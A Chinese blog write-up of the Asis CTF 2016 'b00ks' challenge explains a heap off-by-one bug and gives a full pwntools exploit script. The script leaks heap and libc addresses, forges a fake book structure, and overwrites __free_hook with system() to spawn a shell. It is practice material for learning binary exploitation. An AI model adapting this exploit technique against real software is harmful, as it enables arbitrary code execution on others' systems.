【PWN · heap | Off-By-One】Asis CTF 2016 b00ks

news/2024/5/19 23:20:19 标签: pwn, off-by-one, ctf, heap

萌新进度太慢了,才真正开始heap,还是从简单的Off-By-One开始吧


前言

步入堆的学习。堆的知识复杂而多,于是想着由wiki从简单部分逐个啃。

b00ks是经典的堆上off-by-one漏洞题目。刚开始看很懵(因为确实连堆的管理机制都没有完全了解)。


一、一些疑难点以及思考

wp在网上有很多,然而读了五六篇不同大佬师傅写的wp,发现有很多细节被忽略了,可能这些细节都是很简单的,然而作为萌新,一些基本的知识和思路还是缺乏。

好在,经过两三天的啃、跟着做,终于有了一些见解,基本思路也打通了。具体的wp就不在这里写了,可以食用其他大佬的wp,更为优质,而我就做一些补充。一些来自于本蒟蒻的细节的补充。

细节0:off-by-one进行的单字节溢出,可以用作泄露,可以用作覆写。

细节1:结构体分配内存时,先name成员指针、再description成员指针、后book结构体指针

  • 这个细节决定了,我们通过off-by-one进行单字节溢出时,地址总是减小,因此可以将book1结构体更新到description

细节2:description可以修改,因此布置fake-book1要在单字节覆写之前;name不可以修改,但是会被首先free——即free_hook在free name时首先发作

  • 这就意味着——如果不用onegadget,而利用system('/bin/sh')那就需要把name指针布置为bin_sh字符串指针,也就是需要修改name——我们可以修改fake_book1的desc指针指向book2的name的地址,同时由于book结构体中name、desc两个指针相邻,所以修改name值时,填入p64(bin_sh)+p64(free_hook)即可覆写name+desc指针为指定指针

细节3:fake_book1的偏移,为了能让fake_book1落在指定的、更新后的book1的位置,前面可能需要填充padding,这个通过gdb调试,将偏移后的伪结构体数据布置到指定指针位置。

  • 每次运行虽然heap变化,但是低位不变,因此偏移也固定。为了方便布置,可以将book1的descrption内容开大一些。

二、EXP

from pwn import *

context(arch='amd64',log_level='debug')

io=process('./b00ks')
def create(namesize,name,descriptionsize,description):
    io.sendlineafter(b'> ',b'1')
    io.sendlineafter(b'\nEnter book name size: ',str(namesize).encode())
    io.sendlineafter(b'Enter book name (Max 32 chars): ',name)
    io.sendlineafter(b'\nEnter book description size: ',str(descriptionsize).encode())
    io.sendlineafter(b'Enter book description: ',description)
def delete(bookid):
    io.sendlineafter(b'> ',b'2')
    io.sendlineafter(b'Enter the book id you want to delete: ',str(bookid).encode())

def edit(bookid,newdescription):
    io.sendlineafter(b'> ',b'3')
    io.sendlineafter(b'Enter the book id you want to edit: ',str(bookid).encode())
    io.sendlineafter(b'nter new book description: ',newdescription)
    
def printinfo(id):
    io.sendlineafter(b'> ',b'4')
    for i in range(id):
        io.recvuntil(b'ID: ')
        ID=io.recvuntil(b'\n',drop=True)
        io.recvuntil(b'Name: ')
        Name=io.recvuntil(b'\n',drop=True)
        io.recvuntil(b'Description: ')
        Description=io.recvuntil(b'\n',drop=True)
        io.recvuntil(b'Author: ')
        Author=io.recvuntil(b'\n',drop=True)
    return ID,Name,Description,Author

def changeAuthor(newAuthorname):
    io.sendlineafter(b'> ',b'5')
    io.sendlineafter(b'Enter author name: ',newAuthorname)

### 1.泄露第一个book结构体的指针
# gdb.attach(io)
bookname=b'a'*32
io.sendlineafter(b'Enter author name: ',bookname)
create(16,b'a',256,b'a')

io.sendlineafter(b'> ',b'4')
io.recvuntil(b'a'*32)
book1_ptr=u64(io.recvuntil(b'\n\n1.',drop=True).ljust(8,b'\x00'))
success('book1_ptr={}'.format(hex(book1_ptr)))
raw_input()

### 2.伪造book1,并通过off-by-one修改book1到fake_book1
# 将fake_book1的name_ptr属性指向book2的name,将fake_book1的description_ptr属性指向book2的description
# 注意,由于name和description属性都是malloc的,且因为book结构体malloc(0x20)所以开辟的实际空间是0x30

### 之所以+0x40(desc)在前,+0x38(name)在后,是因为第二个位置对应可修改的desc指针,可以通过其修改book2的name、desc
fake_book1=b'c'*0xc0+p64(1)+p64(book1_ptr+0x40)+p64(book1_ptr+0x38)+p64(0xffff)
# fake_book1=b'c'*0x20+p64(1)+p64(book1_ptr+0x38)+p64(book1_ptr+0x40)+p64(0xffff) 
edit(1,fake_book1)

# 为了泄露libc版本,需要让book2的name或description由mmap分配,同时也因此,book1和book2的堆空间相邻
create(0x21000,b'b',0x21000,b'b')
changeAuthor(bookname)
# 注意下面的顺序,先desc再name对应payload的布置
book2_id,book2_desc,book2_name,book2_author=printinfo(1)
print(book2_id,book2_name,book2_desc,book2_author)
book2_name_ptr=u64(book2_name.ljust(8,b'\x00'))
success('book2_name_ptr:{}'.format(hex(book2_name_ptr)))
book2_desc_ptr=u64(book2_desc.ljust(8,b'\x00'))
success('book2_desc_ptr:{}'.format(hex(book2_desc_ptr)))
raw_input()

libc_base=book2_name_ptr-0x5cf010
libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
system=libc_base+libc.sym['system']
success('system:{}'.format(hex(system)))
execve=libc_base+libc.sym['execve']
success('execve:{}'.format(hex(execve)))
bin_sh=libc_base+next(libc.search(b'/bin/sh\x00'))
success('bin_sh:{}'.format(hex(bin_sh)))
free_hook=libc_base+libc.sym['__free_hook']
raw_input()

### 通过onegadget来打,但是均失败了
# one_gadget=libc_base+0xebc88 # 0x50a47 0xebc81 0xebc85 0xebc88
# edit(1,p64(0)+p64(free_hook))
# edit(2,p64(one_gadget))
# delete(2)
### 注意,这里的onegadget是没有patchelf该so和ld文件前即22.04版,16.04版未尝试

### 通过system('/bin/sh')来打
edit(1,p64(bin_sh)+p64(free_hook)) #book2的name指针改为指向字符串'/bin/sh'的指针,desc指针指向free_hook
edit(2,p64(system)) #修改free_hook的值为system\
raw_input('+++++++')
delete(2)# name指向的区域最先free,触发free_hook,此时已改为system

io.interactive()

三、效果


总结

还是比较难的,但是跟着wp做了一遍,发现细节、原理、思路以及流程都能够了解并掌握,且gdb调适能力大大提升。加油!


http://www.niftyadmin.cn/n/5132195.html

相关文章

FastAPI框架学习笔记(快速入门FastAPI框架)

1. 写在前面 今天整理一篇后端框架的笔记, fastapi框架是比较主流的后端异步web框架,关键是python语言可以写,正好公司最近安排了一些后端服务的活, 所以就看了一个fastapi框架的入门课程(链接在底部),完成任务&#…

OpenCV官方教程中文版 —— Hough 直线变换

OpenCV官方教程中文版 —— Hough 直线变换 前言一、原理二、OpenCV 中的霍夫变换三、Probabilistic Hough Transform 前言 目标 • 理解霍夫变换的概念 • 学习如何在一张图片中检测直线 • 学习函数:cv2.HoughLines(),cv2.HoughLinesP() 一、原理…

深入探究Python中的深度学习:神经网络与卷积神经网络

当下,深度学习已经成为人工智能研究和应用领域的关键技术之一。作为一个开源的高级编程语言,Python提供了丰富的工具和库,为深度学习的研究和开发提供了便利。本文将深入探究Python中的深度学习,重点聚焦于神经网络与卷积神经网络…

4.5 final修饰符

在Java中,final修饰符可以修饰类、属性和方法,final有“最终”、“不可更改”的含义,所以在使用final关键字时需要注意以下几点: 使用final修饰类,则该类就为最终类,最终类不能被继承。 使用final修饰方法…

什么是三元表达式?

三元表达式也被称为"条件表达式",它是一种简洁的语法,用于在一种表达式中根据条件选择两种可能的值。三元表达式的语法形式如下: javascriptcondition ? value_if_true : value_if_false 在这个表达式中: condition…

【鸿蒙软件开发】ArkTS基础组件之TextTimer(文本显示计时)、TimePicker(时间选择)

文章目录 前言一、TextTimer1.1 子组件1.2 接口参数TextTimerController 1.3 属性1.4 事件1.5 示例代码 二、TimePicker2.1 子组件2.2 接口参数 2.3 属性2.4 事件TimePickerResult对象说明 2.5 示例代码 总结 前言 通过文本显示计时信息并控制其计时器状态的组件。 时间选择组…

IOC课程整理-17 Spring事件

1. Java 事件/监听器编程模型 2. 面向接口的事件/监听器设计模式 3. 面向注解的事件/监听器设计模式 4. Spring 标准事件-ApplicationEvent 5. 基于接口的 Spring 事件监听器 6. 基于注解的 Spring 事件监听器 7. 注册 Spring ApplicationListener 8. Spring 事件发布器 9. Spr…

【Apache Flink】流式分析的多种应用场景

文章目录 0. 前言1. 数据处理架构的演进2. 传统数据处理架构3. 事务型处理4. 分析型处理用于数据分析的传统数据仓架构 状态化流处理5. 事件驱动型应用什么是事件驱动型应用? 6. 数据管道什么是数据管道?Flink 如何支持数据管道应用?典型的数…